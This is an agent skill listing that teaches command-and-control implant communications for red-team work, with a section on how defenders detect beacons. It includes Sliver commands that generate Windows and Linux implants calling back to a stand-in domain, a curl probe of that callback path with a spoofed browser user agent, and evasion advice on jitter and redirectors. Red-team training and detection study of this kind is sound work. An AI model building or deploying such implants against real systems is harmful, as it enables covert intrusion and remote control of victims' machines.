# C2 Fundamentals Implant Comms

> Use when designing how an implant talks to its command and control server in a lab or an authorized red team engagement. Covers beaconing and callback timing, HTTP, DNS, mutual TLS, and SMB channel choices, implant check-in behavior, fallback channels, and detection by defenders through beacon regularity, DNS entropy, TLS fingerprints, and endpoint process behavior.

- Skill: `mizazhaider-ceh/c2-fundamentals-implant-comms` (Agent Skill)
- Install (CLI): `npx get-skill add mizazhaider-ceh/c2-fundamentals-implant-comms`
- Raw SKILL.md: https://api.skillmd.com/api/skills/mizazhaider-ceh/c2-fundamentals-implant-comms/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: mizazhaider-ceh (https://skillmd.com/u/mizazhaider-ceh)
- Updated: 2026-11-22
- Page: https://skillmd.com/skills/mizazhaider-ceh/c2-fundamentals-implant-comms

---


Implant communications are the conversation between an implant on an
in-scope target and the operator server. The implant checks in, picks
up tasks, and sends back results, on a schedule the operator controls.
This sub-skill belongs under c2-sliver-operations because Sliver
implants exercise every channel choice in one framework, but the
channel logic here applies to any authorized implant. All work here
is for lab environments and authorized engagements under a signed
rules of engagement.

## Quick Workflow

1. Measure the egress actually allowed from the target network position during recon.
2. Choose the primary channel that fits that egress, and a fallback channel you also tested.
3. Set sleep and jitter in the implant config, and record them in the engagement notes.
4. Point the implant at the redirector domain, never at the team server address.
5. Test the full check-in, tasking, and result loop in the lab.
6. Monitor check-in regularity from the defender view, and adjust only within the agreed baseline.
7. Kill the implant and confirm silence at engagement end.

## 1. Beaconing and timing

Beaconing is the heartbeat of implant communications. The implant
sleeps, wakes, checks in, picks up tasks, sends results, and sleeps
again. Two numbers define the rhythm, sleep in seconds between
check-ins, and jitter as a random percentage added to sleep. Short
sleep with no jitter is a metronome. Long sleep with high jitter
looks more human but slows tasking. Start with sleep 60 and jitter
30 for interactive lab work, and lengthen both when the operation
needs to be quiet.

```python
# Model a beacon rhythm before choosing implant settings
import random

sleep_seconds = 60
jitter_percent = 30
intervals = []
for _ in range(10):
    delta = random.uniform(-jitter_percent, jitter_percent) / 100
    intervals.append(round(sleep_seconds * (1 + delta)))
print("sample intervals in seconds:", intervals)
print("mean interval:", round(sum(intervals) / len(intervals)))
```

Stagger initial check-ins when many implants start at once, because
fifty implants beaconing on the same schedule is still a flood even
if each one looks quiet alone. Cap concurrent sessions per listener,
and record the expected check-in rate so the blue team can tell a
normal beacon from a flood.

## 2. Channel choices

HTTP and HTTPS are the default channels because they blend into
normal web traffic and most networks allow them outbound. The implant
POSTs to innocuous-looking URIs and the server answers inside
normal-looking responses. Terminate TLS on the redirector, not on
the team server, so the server address and certificate never face
the target network.

```bash
# Test whether the planned callback path is reachable and filtered
curl -sk -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
  https://cdn-updates.example.net/api/v2/config -o /dev/null -w "https callback %{http_code}\n"

# Check DNS egress as a fallback channel candidate
nslookup example.net 2>&1 | head -20
dig +short example.net
```

DNS is the fallback for networks that proxy or inspect HTTPS but
leave DNS open. It is slow, because data hides in subdomain labels
and TXT records, and DNS logging makes it highly visible to
defenders who look. Use DNS for check-ins and short tasking, not
bulk transfer. Mutual TLS authenticates both sides strongly, but
fails hard behind TLS inspection, because inspection breaks the
handshake. SMB and named pipes carry implant traffic between
internal hosts without touching the perimeter, with one
internet-facing implant relaying for internal ones.

```bash
# Inside the Sliver client, generate implants for the chosen channels
generate --mtls cdn-updates.example.net:443 --os windows --arch amd64 \
  --format exe --save /tmp/lab-implant-mtls.exe
generate --http cdn-updates.example.net:8080 --os linux --arch amd64 \
  --format elf --save /tmp/lab-implant-http.elf
implants
```

Match the channel to measured egress, test each channel from the
target network position, and never promise a fallback channel you
have not tested. An untested fallback fails exactly when you need
it most.

## 3. Fallback and failure behavior

A fallback channel is a planned downgrade, not improvisation. The
classic downgrade is HTTPS to DNS when web egress is blocked or the
primary domain is burned. Define the trigger in advance, for example
three missed check-ins or a blocklist hit, and define what the
implant does next, meaning which channel it tries, how long it
waits between attempts, and when it gives up and goes quiet. An
implant that retries aggressively on a dead channel creates a loud
failure signature that is worse than silence.

When implants go silent, do not assume detection. Check redirector
logs for connection attempts first, because network changes on the
client side cause most outages. Check listener status second, and
check the implant build options third, because a wrong callback
address or architecture is a common lab mistake. Only after those
checks should the team consider that the blue team found the
implant, and that is data for the report, not a failure.

## Edge cases

- Egress proxies that do TLS inspection break mutual TLS implants and reveal them immediately. Either the rules cover inspection or you switch channels.
- DNS rate limiting collapses DNS channel throughput. Keep DNS tasking tiny and expect multi-minute round trips.
- Clock skew between implant and server breaks time-based logic. Use relative timing, meaning sleep since last check-in, not absolute schedules.
- A fallback channel that was never tested fails under pressure. Test the fallback in the lab before the engagement window opens.
- Implants that retry a burned domain forever tell defenders the implant is still alive. Cap retries and define a quiet state.

## Detection and defender view

Defenders detect implant communications at several layers. Network
detection looks for regular beacon intervals, unusual user agents,
TLS fingerprints that do not match real browsers, DNS query volume
and entropy anomalies, and connections to newly registered domains.
Endpoint detection looks at implant process behavior, injection
patterns, and persistence mechanisms. Proxy and TLS inspection
reveal payloads that do not match their claimed content type. Assume
a competent blue team will find long-running implant traffic, share
indicators with the defensive contact after the engagement, and
treat time to detection as a measured result.

## Key references

- MITRE ATT&CK T1071 Application Layer Protocol
- MITRE ATT&CK T1071.001 Web Protocols
- MITRE ATT&CK T1071.004 DNS
- MITRE ATT&CK T1095 Non-Application Layer Protocol
- MITRE ATT&CK T1008 Fallback Channels
- MITRE ATT&CK T1573 Encrypted Channel
- Sliver docs: https://sliver.sh/docs/

